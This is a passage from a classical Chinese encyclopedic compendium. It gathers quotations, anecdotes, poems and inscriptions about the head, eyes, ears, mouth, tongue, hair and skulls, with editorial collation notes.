子 白 黑 分 明 . 视 瞻 不 转 . 小 头 而 锐 . 断 敢 行 也 . 目 黑 白 分 . 见 事 明 也 . 视 瞻 不 转 . 执 志 强 也 . 可 与 持 久 . 难 与 争 锋 . 廉 颇 足 以 当 之 .\n东 观 汉 记 曰 . 彭 宠 与 吴 汉 围 隗 嚣 于 西 城 . 敕 彭 书 曰 . 西 城 若 下 . 便 可 将 兵 南 击 蜀 虏 . 人 苦 不 知 足 . 既 平 陇 . 重 望 蜀 . 每 一 发 兵 . 头 鬓 为 白 .\n魏 志 曰 . 辰 韩 国 儿 生 . 以 石 押 其 头 . 欲 其 扁 扁 . 今 辰 韩 人 皆 扁 头 .\n搜 神 记 曰 . 南 方 有 落 ○ 太 平 御 览 三 百 六 十 四 落 下 有 头 字 . 民 . 吴 时 . 将 军 朱 桓 一 婢 . 每 夜 卧 后 . 头 辄 飞 去 . 或 从 狗 窦 . 或 从 天 窗 中 出 入 . 以 耳 为 翼 . 将 晓 复 还 . 数 数 如 此 . 傍 人 怪 之 . 夜 照 视 . 唯 有 身 无 头 . 其 体 微 冷 . 乃 蒙 之 以 被 . 至 晓 头 还 . 碍 被 不 得 安 . 再 三 堕 地 . 而 其 体 气 急 疾 . 若 将 死 者 . 乃 去 被 . 头 复 起 附 . 得 安 . 复 瞑 如 常 人 .\n神 仙 传 曰 . 曹 公 捕 左 慈 . 数 日 得 之 . 便 断 头 . 以 白 曹 公 . 公 大 喜 曰 . 果 慈 头 . 定 视 . 是 一 束 茅 尔 .\n洞 林 曰 . 郭 璞 为 左 尉 周 恭 卜 云 . 君 且 堕 马 伤 头 . 尉 后 乘 马 行 . 黄 昏 . 阪 下 犊 车 触 马 . 马 惊 . 头 打 石 上 . 流 血 殆 死 .\n秦 记 曰 . 符 坚 祖 洪 . 见 坚 状 貌 . 欲 令 头 坚 腹 软 . 字 之 曰 坚 头 .\n幽 明 录 曰 . 河 东 贾 弼 之 . 义 熙 中 . 为 琅 府 参 军 . 夜 梦 有 一 人 . 面 查 ● 防 老 反 . 甚 . 多 鬓 大 鼻 ● 目 . 请 之 曰 . 爱 君 之 貌 . 欲 易 头 . 可 乎 . 乃 于 梦 中 许 易 . 明 朝 起 . 自 不 觉 . 而 人 悉 惊 走 藏 . 云 那 汉 何 处 来 . 弼 取 镜 自 看 . 方 知 怪 异 . 因 还 家 . 家 人 悉 惊 . 入 内 . 妇 女 走 藏 . 云 那 得 男 子 . 弼 坐 自 陈 说 . 后 能 半 面 笑 . 两 足 手 口 各 捉 一 笔 . 俱 书 . 辞 意 皆 美 . 此 为 异 也 . 余 并 如 先 .\n【 文 】 晋 张 敏 头 责 子 羽 文 曰 . 太 原 温 长 仁 . 颖 川 荀 景\n伯 . 范 阳 张 茂 先 . 上 郡 刘 文 生 . 南 阳 邹 润 甫 . 河 南 郑 冽\n. ○ 据 下 及 世 说 排 调 篇 . 当 是 郑 诩 . 诩\n字 思 渊 . 渊 字 坏 作 冽 . 又 脱 思 字 . 余 友 有 秦 生 者 .\n虽 有 夫 之 尊 . 少 而 狎 之 . 同 时 昵 好 张 荀 之 徒 . 继 踵 登\n朝 . 而 此 贤 身 处 陋 巷 . 屡 沽 而 无 善 价 . 为 之 慨 然 . 又 怪\n诸 贤 身 己 既 在 位 . 曾 无 伐 木 嘤 鸣 之 声 . 又 违 王 贡 弹 冠 之\n义 . 故 因 秦 生 容 貌 之 盛 . 为 头 责 之 文 以 戏 之 . 并 嘲 六 子\n. 头 责 子 羽 曰 . 吾 托 为 子 头 . 万 有 余 日 矣 . 大 块 禀 我 以\n精 . 造 我 以 形 . 我 为 子 莳 发 肤 . 置 鼻 耳 . 安 眉 须 . 捶 牙\n齿 . 眸 子 摛 光 . 双 权 隆 起 . 每 至 出 入 人 间 . 遨 游 市 里 .\n行 者 僻 易 . 坐 者 竦 跽 . 如 此 者 故 我 形 之 足 伟 也 . 子 冠 冕\n弗 戴 . 金 银 弗 佩 . 旨 味 弗 尝 . 食 粟 茹 菜 . 子 遇 我 如 雠 .\n我 视 子 如 仇 . 居 常 不 乐 . 两 者 俱 忧 . 何 其 鄙 哉 . 子 欲 为\n仁 贤 耶 . 当 如 皋 陶 后 稷 巫 咸 伊 陟 . 保 乂 王 家 . 永 见 封 殖\n. 子 欲 为 名 高 耶 . 则 当 如 许 由 子 臧 卞 随 务 光 . 洗 耳 逃 禄\n. 千 载 流 芳 . 子 欲 为 游 说 耶 . 则 当 如 陈 轸 蒯 通 陆 生 邓 公\n. 转 祸 为 福 . 含 辞 从 容 . 子 欲 为 恬 淡 耶 . 则 当 如 老 聃 之\n守 一 . 庄 周 之 自 逸 . 廓 然 离 俗 . 志 凌 云 日 . 子 欲 为 隐 遯\n耶 . 则 当 如 荣 期 之 带 索 . 渔 父 之 儳 灂 . 栖 迟 神 丘 . 垂 饵\n巨 壑 . 今 子 上 不 希 道 德 . 中 不 效 儒 墨 . 块 然 穷 贱 . 守 此\n愚 惑 . 察 子 之 情 . 观 子 之 志 . 退 不 能 为 处 士 . 进 无 望 乎\n三 事 . 而 徒 玩 日 劳 形 . 习 为 常 人 之 所 喜 . 对 曰 . 吾 以 天\n幸 . 为 子 所 寄 . 今 子 欲 使 吾 为 忠 耶 . 则 当 如 子 胥 屈 平 .\n欲 使 吾 为 信 耶 . 则 当 杀 身 而 成 名 . 欲 使 吾 为 介 节 耶 . 赴\n水 火 以 全 贞 . 此 四 者 . 子 之 所 忌 . 故 吾 不 敢 造 意 . 头 曰\n. 吾 欲 告 以 养 性 . 诲 以 优 游 . 而 与 虮 虱 同 性 . 不 听\n我 谋 . 悲 哉 . 俱 御 人 体 . 而 独 为 子 头 . 且 拟 人 其 伦 . 谕\n子 侪 偶 . 子 曾 不 如 太 原 温 颙 . 颖 川 荀 禹 . ○\n世 说 作 寓 . 范 阳 张 华 . 上 郡 刘 许 . 南 阳 邹 湛 . 河 南\n郑 诩 . 此 数 子 或 謇 吃 无 宫 . ○ 宫 下 有 商\n字 . 此 脱 . 或 尪 陋 希 言 语 . 或 淹 伊 多 姿 态 . 或 驒 騱\n上 阤 . 下 奚 . 少 智 谞 . 或 口 如 含\n胶 饴 . 或 头 如 巾 齑 杵 . 而 犹 以 文 采 可 观 . 意 思 详 序 . 攀\n龙 附 凤 . 并 登 天 府 . 岂 若 夫 子 . 徒 令 唇 口 腐 烂 . 手 足 沾\n濡 哉 . 居 有 事 之 世 . 而 耻 为 权 谋 . 譬 犹 凿 地 抱 瓮 . 难 以\n求 富 . 嗟 乎 子 羽 . 何 异 牢 槛 之 熊 . 深 阱 之 虎 . 石 间 饿 蟹\n. 灶 中 之 鼠 . 事 力 虽 多 . 而 见 功 甚 少 . 宜 其 蹉 跼 煎 蹙 .\n至 老 无 所 希 也 .\n山 海 经 曰 . 一 臂 国 . 为 人 一 目 . 中 其 面 而 居 .\n毛 诗 曰 . 美 目 盼 兮 .\n左 传 曰 . 宋 华 父 督 . 见 孔 父 之 妻 . 目 逆 而 送 之 .\n又 曰 . 睅 其 目 . 皤 其 腹 . 事 具 讴 谣 篇 .\n春 秋 孔 演 图 曰 . 苍 颉 四 目 . 是 谓 并 明 .\n又 舜 重 瞳 子 . 是 谓 重 明 .\n孙 卿 子 曰 . 尧 舜 三 眸 子 .\n孝 经 援 神 契 曰 . 伏 牺 大 目 .\n老 子 曰 . 五 色 令 人 目 盲 .\n胡 非 子 曰 . 目 见 百 步 之 外 . 而 不 能 见 其 眦 .\n庄 子 曰 . 温 伯 雪 适 齐 . 舍 于 鲁 . 仲 尼 见 之 而 不 言 . 子 路 问 焉 . 仲 尼 曰 . 若 夫 人 者 . 目 击 而 道 存 矣 .\n又 曰 . 孔 子 见 老 聃 而 语 仁 义 . 老 聃 曰 . 夫 播 糠 眯 目 . 则 天 地 四 方 易 位 矣 . 夫 仁 义 翻 然 . 乃 愦 吾 心 . 乱 莫 大 焉 .\n孟 子 曰 . 伯 夷 目 不 视 恶 色 .\n慎 子 曰 . 离 朱 之 明 . 察 毫 末 于 百 步 之 外 . 下 水 尺 . 不 能 见 浅 深 . 非 目 不 明 . 其 势 难 睹 也 .\n尸 子 曰 . 使 目 在 足 下 . 则 不 可 以 视 . 楚 辞 曰 . 娱 光 眇 视 目 增 波 .\n又 曰 . 蛾 眉 曼 睩 目 腾 光 .\n又 曰 . 帝 子 降 兮 北 渚 . 目 眇 眇 兮 愁 予 .\n又 曰 . 满 堂 兮 美 人 . 忽 独 与 余 兮 目 成 .\n孙 卿 子 曰 . 厌 目 而 视 者 . 视 一 以 为 两 也 .\n韩 子 曰 . 田 驷 欺 邹 君 . 邹 君 将 杀 之 . 田 驷 恐 . 告 惠 子 . 惠 子 见 邹 君 曰 . 有 人 见 君 . 则 其 一 目 . 奚 如 . 君 曰 . 我 必 杀 之 . 惠 子 曰 . 瞽 两 目 . 君 奚 弗 杀 . 驷 东 欺 齐 侯 . 南 欺 荆 王 . 驷 之 于 欺 人 瞽 也 . 君 奚 怨 . 乃 弗 杀 .\n淮 南 子 曰 . 夫 目 察 秋 毫 之 末 . 而 耳 不 闻 雷 霆 之 音 . 耳 调 玉 石 之 声 . 而 目 不 见 太 山 之 高 . 何 则 . 小 有 所 志 . 而 大 有 所 忘 也 .\n孔 丛 子 曰 . 夫 子 适 周 . 见 苌 弘 . 言 终 退 . 苌 弘 语 刘 文 公 曰 . 吾 观 仲 尼 . 有 圣 人 之 表 . 其 状 河 目 而 隆 颡 . 是 黄 帝 之 形 貌 也 . 史 记 曰 . 吴 王 赐 子 胥 属 镂 之 剑 以 死 . 子 胥 仰 天 叹 曰 . 抉 吾 眼 . 着 吴 东 门 上 . 以 观 越 寇 之 入 灭 吴 也 . 乃 自 刭 .\n汉 书 曰 . 东 方 朔 上 书 . 臣 朔 目 若 悬 珠 . 齿 如 编 贝 .\n东 观 汉 记 曰 . 马 援 眉 目 如 画 .\n郑 玄 别 传 曰 . 玄 秀 眉 明 目 .\n竹 林 七 贤 论 曰 . 王 戎 眸 子 洞 彻 . 视 日 而 眼 明 不 亏 .\n濑 乡 记 曰 . 老 子 大 目 .\n【 诗 】 梁 刘 孝 绰 咏 眼 诗 曰 . 含 娇 ● 已 合 . 离 怨 动 还 开 . 欲 知 密 中 意 . 浮 光 逐 笑 回 .\n【 箴 】 宋 谢 惠 连 目 箴 曰 . 气 之 清 明 . 双 眸 善 识 . 唯 道 是 视 . 瞻 彼 正 直 .\n【 铭 】 齐 竟 陵 王 萧 子 良 眼 铭 曰 . 惟 正 是 视 . 玄 黄 匪 惑\n. 非 礼 不 观 . 仪 形 是 则 . 慎 尔 所 觌 . 无 愆 斯 德 .\n相 书 曰 . 耳 门 小 . 富 而 .\n淮 南 子 曰 . 禹 耳 三 漏 . 是 谓 大 通 . 兴 利 除 害 . 决 江 疏 河 .\n老 子 曰 . 五 音 令 人 耳 聋 .\n孟 子 曰 . 伯 夷 耳 不 听 恶 声 .\n史 记 曰 . 韩 信 使 人 言 于 汉 王 . 齐 反 覆 之 国 . 不 为 假 王 镇 之 . 其 势 不 定 . 汉 王 大 怒 . 张 良 陈 平 . 蹑 汉 王 之 足 . 附 耳 语 曰 . 汉 方 不 利 . 宁 能 禁 信 王 乎 . 因 立 之 .\n范 晔 后 汉 书 曰 . 珠 崖 儋 耳 . 其 渠 帅 耳 垂 肩 三 寸 .\n列 仙 传 曰 . 务 光 . 夏 时 人 . 耳 长 七 寸 . 阳 都 女 . 耳 细 而 长 . 众 皆 言 此 天 人 也 .\n列 士 传 曰 . 燕 丹 使 田 光 往 候 荆 轲 . 值 其 醉 . 唾 其 耳 中 . 轲 觉 曰 . 此 出 口 入 耳 之 言 . 必 大 事 也 . 则 往 见 光 .\n蜀 志 曰 . 先 主 长 七 尺 五 寸 . 垂 臂 下 膝 . 顾 . 自 见 其 耳 .\n英 雄 记 曰 . 曹 公 擒 吕 布 . 布 顾 刘 备 曰 . 玄 德 . 卿 为 上 坐 客 . 我 为 降 虏 . 绳 缚 我 急 . 独 不 可 一 言 耶 . 操 曰 . 缚 虎 不 得 不 急 . 曹 公 欲 缓 之 . 备 曰 . 不 可 . 公 不 见 布 事 丁 建 阳 董 太 师 乎 . 操 憾 ○ 明 本 作 颔 . 太 平 御 览 三 百 六 十 六 作 领 . 之 . 布 目 备 曰 . 大 耳 儿 最 叵 信 .\n魏 书 . 荀 攸 年 七 八 岁 . 父 衢 曾 醉 . 误 伤 攸 耳 . 而 攸 出 入 游 戏 . 常 避 护 . 不 欲 令 衢 见 也 . 衢 后 闻 之 . 乃 惊 . 其 夙 智 如 此 .\n抱 朴 子 曰 . 老 君 耳 长 七 寸 .\n濑 乡 记 曰 . 老 子 耳 有 三 门 .\n楚 辞 曰 . 曾 颊 倚 耳 曲 眉 规 .\n樊 氏 相 法 曰 . 人 耳 囷 长 寸 三 分 . 寿 百 二 十 岁 . 一 寸 . 寿 百 岁 . 如 豆 . 生 即 死 耳 . 门 前 有 仙 人 杖 . 四 理 一 百 岁 . 三 理 八 十 . 二 理 六 十 .\n【 赋 】 晋 祖 台 之 荀 子 耳 赋 曰 . 夫 恶 劳 而 希 逸 . 寔 万 物 之 至 诚 . 何 斯 耳 之 不 辰 . 托 荀 子 而 宅 形 . 在 瘠 土 而 长 勤 . 无 须 臾 之 闲 宁 . 预 清 谈 而 闭 塞 . 开 鄙 秽 而 聪 明 . 竭 微 听 于 门 阁 . 采 群 下 之 风 声 .\n【 铭 】 齐 竟 陵 王 萧 子 良 耳 铭 曰 . 惟 耳 是 听 . 仁 爱 是 闻\n. 详 察 巧 言 . 离 辩 异 群 . 无 迷 邪 谄 . 炫 惑 莫 分 .\n礼 记 曰 . 数 诮 无 为 口 容 .\n又 曰 . 口 容 止 .\n又 曰 . 负 剑 辟 咡 . 诏 之 则 掩 口 而 对 .\n又 曰 . 赵 文 子 . 其 言 呐 呐 然 . 如 不 出 诸 其 口 .\n孝 经 曰 . 口 无 择 言 .\n孝 经 援 神 契 曰 . 舜 大 口 .\n又 曰 . 孔 子 海 口 含 海 . ○ 太 平 御 览 三 百 六 十 七 作 泽 .\n老 子 曰 . 五 味 令 人 口 爽 .\n庄 子 曰 . 公 孙 龙 问 于 魏 牟 曰 . 吾 闻 庄 子 之 言 . 芒 焉 异 之 . 牟 曰 . 子 独 不 闻 坎 井 之 谓 东 海 之 鳖 曰 . 坎 井 之 乐 . 亦 至 矣 . 子 奚 不 来 入 观 乎 . 鳖 左 足 未 入 . 而 右 膝 已 絷 矣 . 公 孙 龙 口 呿 而 不 合 . 舌 举 而 不 下 .\n史 记 曰 . 秦 始 皇 游 于 会 稽 . 渡 浙 江 . 项 梁 与 籍 俱 观 . 籍 曰 . 彼 可 取 而 代 也 . 梁 掩 其 口 曰 . 无 妄 言 . 诛 族 矣 .\n又 曰 . 邓 公 见 景 帝 曰 . 吴 王 为 反 数 十 年 矣 . 发 怒 削 地 . 以 诛 错 为 名 . 其 意 非 在 错 也 . 且 臣 恐 天 下 之 士 . 噤 口 不 敢 复 言 .\n鬼 谷 子 曰 . 口 者 机 关 也 . 所 以 开 闭 情 意 也 .\n又 曰 . 口 可 以 食 . 不 可 以 言 .\n说 苑 曰 . 常 枞 有 疾 . 老 子 曰 . 先 生 疾 甚 . 无 遗 教 语 弟 子 乎 . 常 枞 乃 张 其 口 示 老 子 曰 . 舌 存 乎 . 曰 . 存 . 岂 非 以 软 耶 . 齿 亡 乎 . 曰 . 亡 . 岂 非 以 刚 耶 . 常 枞 曰 . 天 下 事 尽 矣 .\n又 曰 . 恶 言 不 过 口 . 苛 言 不 留 耳 . 口 者 . 关 也 . 舌 者 . 机 也 . 出 言 不 审 . 驷 马 不 能 追 也 .\n汉 书 曰 . 汉 王 击 魏 豹 . 问 郦 食 其 曰 . 魏 大 将 谁 也 . 曰 . 柏 直 . 汉 王 曰 . 是 口 尚 乳 臭 .\n又 曰 . 周 昌 曰 . 臣 口 不 能 言 . 心 知 其 不 可 .\n又 曰 . 杨 雄 口 吃 . 不 能 戏 谈 .\n应 劭 汉 官 曰 . 侍 中 刁 存 . 年 老 口 臭 . 帝 赐 鸡 舌 香 . 令 含 之 .\n杜 恕 体 论 曰 . 束 脩 之 业 . 其 上 在 于 不 言 . 其 次 莫 如 寡 知 也 . 故 谚 曰 . 使 口 如 鼻 . 至 老 不 失 .\n养 生 经 曰 . 军 营 之 中 有 甘 泉 . 军 营 . 口 也 . 甘 泉 . 唾 也 .\n养 生 要 尹 氏 内 解 曰 . 口 为 华 池 .\n相 书 曰 . 欲 知 人 多 口 舌 . 当 视 其 口 如 鸟 喙 . 言 语 皆 聚 此 多 舌 人 也 .\n相 书 杂 要 曰 . 口 大 容 手 . 赤 如 朱 丹 . 贵 且 寿 .\n濑 乡 记 曰 . 老 子 方 口 .\n吴 录 曰 . 孙 权 方 颐 大 口 . 目 有 精 光 .\n【 箴 】 宋 谢 惠 连 口 箴 曰 . 宣 纳 之 由 . 寔 伊 枢 机 . 唯 舌 是 出 . 驰 驷 安 追 . 差 千 里 . 君 子 慎 微 . 何 用 口 爽 . 信 在 甘 肥 .\n【 诫 】 晋 傅 玄 口 诫 曰 . 勿 谓 何 有 . 积 怨 致 咎 . 勿 曰 不 传 . 伏 流 成 川 . 蚁 孔 溃 河 . 流 穴 倾 山 .\n【 铭 】 齐 竟 陵 王 萧 子 良 口 铭 曰 . 惟 口 是 慎 . 慎 乎 语 笑\n. 三 缄 是 戒 . 事 重 周 庙 . 戒 之 戒 之 . 无 贻 厥 诮 .\n吕 氏 春 秋 曰 . 善 为 君 者 . 蛮 夷 反 舌 . 殊 俗 异 习 . 皆 服 德 厚 也 .\n庄 子 曰 . 公 孙 龙 口 呿 而 不 合 . 舌 举 而 不 下 .\n燕 丹 子 曰 . 荆 轲 之 燕 . 太 子 曰 . 田 先 生 今 无 恙 乎 . 轲 曰 . 光 临 送 轲 之 时 . 言 太 子 戒 以 国 事 . 耻 以 丈 夫 而 不 见 信 . 向 轲 吞 舌 而 死 矣 .\n史 记 曰 . 平 原 君 已 定 从 而 归 . 至 于 赵 . 曰 . 毛 先 生 以 三 寸 之 舌 . 强 于 百 万 之 师 .\n又 曰 . 留 侯 曰 . 家 世 相 韩 . 韩 灭 . 不 爱 万 金 之 资 . 为 韩 报 雠 强 秦 . 天 下 振 动 . 今 以 三 寸 舌 . 为 帝 者 之 师 . 封 万 户 . 位 列 侯 . 此 布 衣 之 极 . 于 良 足 矣 .\n又 曰 . 张 仪 尝 从 楚 相 饮 . 已 而 楚 相 亡 璧 . 门 下 意 仪 盗 璧 . 共 执 仪 . 掠 笞 数 百 . 不 服 . 释 之 . 其 妻 曰 . 子 无 读 书 游 说 . 安 得 此 辱 乎 . 仪 张 口 曰 . 视 吾 舌 尚 在 否 . 妻 曰 . 在 也 . 仪 曰 . 足 矣 .\n说 苑 曰 . 韩 平 子 问 叔 向 曰 . 刚 与 软 孰 坚 . 对 曰 . 臣 年 八 十 矣 . 齿 再 堕 而 舌 尚 在 .\n神 异 经 曰 . 东 荒 山 中 . 有 大 石 室 . 东 王 公 居 之 . 长 一 丈 . 头 发 皓 白 . 鸟 面 人 形 而 虎 尾 . 恒 与 一 玉 女 更 投 壶 .\n汉 书 . 蒯 通 谓 韩 信 曰 . 郦 生 一 士 . 伏 轼 掉 三 寸 舌 . 下 齐 七 十 城 .\n英 雄 记 曰 . 曹 操 与 刘 备 密 言 . 备 泄 之 于 袁 绍 . 绍 知 操 有 图 己 之 意 . 操 自 咋 其 舌 流 血 . 以 失 言 戒 后 世 .\n搜 神 记 曰 . 永 嘉 中 有 天 竺 胡 人 . 能 断 舌 . 先 吐 舌 示 宾 客 . 然 后 刀 截 . 血 流 覆 地 . 乃 取 置 器 中 . 传 示 人 . 取 舌 还 含 . 有 顷 如 故 .\n郭 子 曰 . 殷 仲 堪 云 . 三 日 不 读 道 德 经 . 觉 舌 本 闲 强 .\n沈 约 宋 书 曰 . 南 郭 ○ 宋 书 作 郡 . 王 义 宣 . 生 而 舌 短 言 .\n相 书 曰 . 舌 如 绛 赤 者 . 贤 人 也 .\n相 书 杂 要 曰 . 吐 舌 及 鼻 三 公 .\n【 赋 】 梁 简 文 帝 舌 赋 曰 . 奚 兹 先 生 问 于 何 斯 逸 士 曰 . 夫 三 端 所 贵 . 三 寸 着 名 . 故 微 言 传 乎 往 记 . 妙 说 表 乎 丹 青 . 鲁 谈 笑 而 军 却 . 王 言 咏 而 瑞 隆 . 陆 有 千 金 之 富 . 周 为 一 说 之 功 . 复 有 构 扇 之 端 . 谗 谀 之 迹 . 艳 紫 凌 朱 . 飞 黄 妒 白 . 吾 将 欲 废 便 辟 之 交 . 远 巧 佞 之 友 . 殄 张 仪 之 余 . 歼 苏 秦 之 后 . 粉 虞 卿 之 白 璧 . 碎 汉 王 之 玉 斗 . 然 后 浮 伪 可 息 . 淳 风 不 朽 .\n【 论 】 晋 张 韩 不 用 舌 论 曰 . 论 者 以 为 心 气 相 驱 . 因 舌\n而 言 . 卷 舌 翕 气 . 安 得 畅 理 . 余 以 留 意 于 言 . 不 如 留 意\n于 不 言 . 徒 知 无 舌 之 通 心 . 未 尽 有 舌 之 必 通 心 也 . 仲 尼\n云 . 天 何 言 哉 . 四 时 行 焉 . 夫 子 之 文 章 . 可 得 而 闻 也 .\n夫 子 之 言 性 与 天 道 . 不 可 得 而 闻 . 是 谓 至 精 . 愈 不 可 闻\n. 枢 机 之 发 . 主 乎 荣 辱 . 祸 言 相 寻 . 召 福 甚 希 . 丧 元 灭\n族 . 没 有 余 哀 . 三 缄 告 慎 . 铭 在 金 人 . 留 侯 不 得 已 而 掉\n三 寸 . 亦 反 初 服 而 效 神 仙 . 灵 龟 启 兆 于 有 识 . 前 却 可 通\n于 千 年 . 鹦 鹉 猩 猩 . 鼓 弄 于 笼 罗 . 财 无 一 介 之 存 . 普 天\n地 之 与 人 物 . 亦 何 屑 于 有 言 哉 .\n左 传 曰 . 齐 侯 田 于 莒 . 卢 蒲 嫳 见 . 泣 且 请 曰 . 余 之 发 如 此 种 种 . 余 奚 能 为 . 种 种 . 短 也 . 公 曰 . 吾 告 二 子 . 子 尾 欲 复 之 . 子 雅 不 可 . 曰 . 彼 其 发 短 而 心 甚 长 . 其 或 寝 处 我 矣 . 子 雅 放 卢 蒲 嫳 于 北 燕 .\n又 曰 . 昔 有 仍 氏 女 生 . 鬒 黑 美 发 为 鬒 . 而 甚 美 . 光 可 以 鉴 . 名 曰 玄 妻 . 乐 正 后 夔 取 之 .\n礼 斗 威 仪 曰 . 君 乘 木 而 王 . 为 人 美 发 .\n吕 氏 春 秋 曰 . 昔 者 殷 旱 五 年 . 汤 乃 以 身 祷 . 剪 发 自 以 为 牺 . 用 祈 福 于 上 帝 .\n韩 子 曰 . 文 公 之 时 . 宰 人 上 炙 而 发 绕 之 . 文 公 召 宰 人 而 诮 之 . 宰 人 曰 . 臣 有 死 罪 三 . 援 砺 砥 刀 . 利 犹 干 将 . 切 肉 断 而 发 不 绝 . 臣 之 罪 一 也 . 援 锥 贯 脔 . 而 不 见 发 . 臣 之 罪 二 也 . 奉 炙 鑪 炭 . 肉 尽 赤 红 . 炙 熟 而 发 不 焦 . 臣 之 罪 三 也 . 堂 下 得 微 有 嫉 臣 者 乎 . 公 乃 召 其 下 而 诮 之 . 果 然 . 乃 诛 之 .\n又 曰 . 燕 李 季 好 远 出 . 其 妻 有 士 . 季 至 . 士 在 内 . 妻 患 之 . 妾 曰 . 令 公 子 而 解 发 . 直 出 门 . 吾 属 详 不 见 也 . 公 子 从 其 计 . 疾 走 出 门 . 季 曰 . 是 何 人 也 . 家 室 皆 曰 无 有 . 季 曰 吾 见 鬼 . 为 之 奈 何 . 妇 曰 . 取 五 姓 之 水 浴 之 . 季 曰 . 诺 . 乃 浴 .\n家 语 曰 . 颜 回 二 十 发 白 .\n史 记 曰 . 蔺 相 如 持 璧 . 却 立 倚 柱 . 怒 发 上 冲 冠 .\n汉 书 曰 . 苏 武 留 匈 奴 十 九 年 . 始 以 强 壮 出 . 及 还 . 鬓 发 尽 白 .\n淮 南 万 毕 术 曰 . 理 发 灶 前 . 妇 安 夫 家 .\n又 曰 . 用 麻 子 中 人 . 桐 叶 米 汁 煮 之 . 沐 二 十 日 . 发 长 .\n东 观 汉 记 曰 . 明 德 后 美 发 . 为 四 起 大 髻 . 但 以 发 成 尚 有 余 . 绕 髻 三 匝 .\n又 曰 . 和 喜 皇 后 . 六 岁 . 诸 兄 持 后 发 . 后 曰 . 身 体 发 肤 . 受 之 父 母 . 不 敢 毁 伤 . 孝 之 始 也 . 奈 何 弄 人 发 乎 .\n曹 瞒 传 曰 . 太 祖 尝 行 经 麦 中 . 令 卒 士 无 败 麦 . 犯 者 死 . 骑 士 皆 下 马 持 麦 以 相 付 . 时 太 祖 马 腾 入 麦 中 . 太 祖 曰 . 制 法 而 自 犯 之 . 何 以 帅 下 . 然 孤 为 军 帅 . 不 可 杀 . 请 自 刑 . 因 援 剑 割 发 以 置 地 .\n王 隐 晋 书 曰 . 陶 侃 为 吏 . 鄱 阳 孝 廉 与 亲 友 过 侃 宿 . 母 截 发 以 供 宾 . 诸 客 叹 曰 . 非 此 母 . 不 生 此 子 也 .\n【 诗 】 梁 何 逊 白 发 诗 曰 . 丝 白 不 难 染 . 蓬 生 本 易 扶 . 唯 此 星 星 发 . 独 与 众 中 殊 .\n【 赋 】 晋 左 思 白 发 赋 曰 . 星 星 白 发 . 生 于 鬓 垂 . 虽 非 青 蝇 . 秽 我 光 仪 . 策 名 观 国 . 以 此 见 疵 . 将 拔 将 镊 . 好 爵 是 縻 . 白 发 将 拔 . 惄 然 自 诉 . 禀 命 不 幸 . 值 君 年 暮 . 逼 迫 秋 霜 . 生 而 皓 素 . 始 览 明 镜 . 惕 然 见 恶 . 朝 生 昼 拔 . 何 罪 之 故 . 予 观 橘 柚 . 一 ● 一 瞱 . 贵 其 素 华 . 匪 尚 绿 叶 . 愿 戢 子 之 手 . 摄 子 之 镊 . 咨 尔 白 发 . 观 世 之 途 . 靡 不 追 荣 . 贵 华 贱 枯 . 赫 赫 阊 阖 . 蔼 蔼 紫 庐 . 弱 冠 来 仕 . 童 髫 献 谟 . 甘 罗 乘 轸 . 子 奇 剖 符 . 英 英 终 贾 . 高 论 云 衢 . 拔 白 就 黑 . 此 自 在 吾 . 白 发 临 欲 拔 . 瞋 目 号 呼 . 何 我 之 冤 . 何 子 之 误 . 甘 罗 自 以 辩 惠 见 称 . 不 以 发 黑 而 名 着 . 贾 生 自 以 良 才 见 异 . 不 以 乌 鬓 而 后 举 . 闻 之 先 民 . 国 用 老 成 . 二 老 归 周 . 周 道 肃 清 . 四 皓 佐 汉 . 汉 德 光 明 . 何 必 去 我 . 然 后 要 荣 . 咨 尔 白 发 . 事 故 有 以 . 尔 之 所 言 . 非 不 有 理 . 曩 贵 耆 耋 . 今 薄 旧 齿 . 皤 皤 荣 期 . 皓 首 田 里 . 虽 有 二 毛 . 河 清 难 俟 . 随 时 之 变 . 见 叹 孔 子 . 发 乃 辞 尽 . 誓 以 固 穷 . 昔 临 玉 颜 . 今 从 飞 蓬 . 发 肤 至 昵 . 尚 不 克 终 . 聊 用 拟 辞 . 比 之 国 风 .\n【 序 】 晋 稽 含 白 首 赋 序 曰 . 余 年 二 十 七 . 始 有 白 发 生\n于 左 鬓 . 斯 乃 衰 悴 之 标 证 . 弃 捐 之 大 渐 也 . 蒲 衣 幼 齿 .\n作 弼 夏 后 . 汉 之 贾 邓 . 弱 冠 从 政 . 独 以 垂 立 之 年 . 白 首\n无 闻 . 壮 志 于 芜 涂 . 忠 贞 抗 于 棘 路 . 睹 将 衰 而 有 川 上\n之 感 . 观 趣 舍 而 抱 慷 慨 之 叹 .\n广 雅 曰 . 颡 颅 谓 之 髑 髅 .\n庄 子 曰 . 庄 子 使 楚 . 见 空 髑 髅 . 击 以 马 捶 而 问 曰 . 夫 子 贪 生 失 理 而 为 此 乎 . 将 有 冻 馁 之 患 而 为 此 乎 . 语 卒 . 援 髑 髅 . 枕 而 卧 . 髑 髅 见 梦 曰 . 夫 死 无 君 于 上 . 无 臣 于 下 . 亦 无 四 时 之 事 . 与 天 地 为 春 秋 . 虽 南 面 帝 王 . 乐 不 能 过 也 .\n魏 略 曰 . 王 忠 先 因 饥 啖 人 . 五 官 将 与 共 从 驾 出 行 . 过 冢 ○ 原 讹 家 . 据 冯 校 本 改 . 间 . 无 何 . 令 取 道 边 死 人 髑 髅 系 着 忠 马 鞍 上 . 以 为 戏 笑 .\n盛 弘 之 荆 州 记 曰 . 长 沙 蒲 圻 县 . 有 吕 蒙 冢 . 冢 中 有 一 髑 髅 . 极 大 . 蒙 形 既 长 伟 . 疑 即 蒙 髑 髅 也 .\n广 州 记 曰 . 卢 循 袭 广 州 . 风 火 夜 发 . 奔 免 者 数 千 而 已 . 循 除 诸 烧 骨 . 数 得 髑 髅 三 万 余 . 于 江 南 洲 上 作 大 坑 之 . 今 名 共 冢 .\n南 州 异 物 志 曰 . 乌 浒 人 . 髑 髅 破 之 . 以 饮 酒 .\n续 搜 神 记 曰 . 永 嘉 五 年 . 张 荣 为 高 平 戍 逻 主 . 时 遭 曹 嶷 贼 寇 乱 . 人 民 ○ 原 民 字 坏 . 据 太 平 御 览 三 百 七 十 四 补 . 皆 坞 垒 自 保 固 . 见 山 中 火 起 . 飞 埃 绝 烂 ○ 御 览 作 爓 . 十 余 丈 . 树 颠 大 焱 . 响 动 山 谷 . 久 闻 人 马 铠 甲 声 . 谓 嶷 贼 上 . 人 皆 惶 恐 . 并 严 出 . 将 欲 击 之 . 引 骑 到 山 下 . 无 有 人 . 但 见 碎 火 来 晒 人 . 袍 铠 马 毛 ● 皆 烧 . 于 是 军 人 走 还 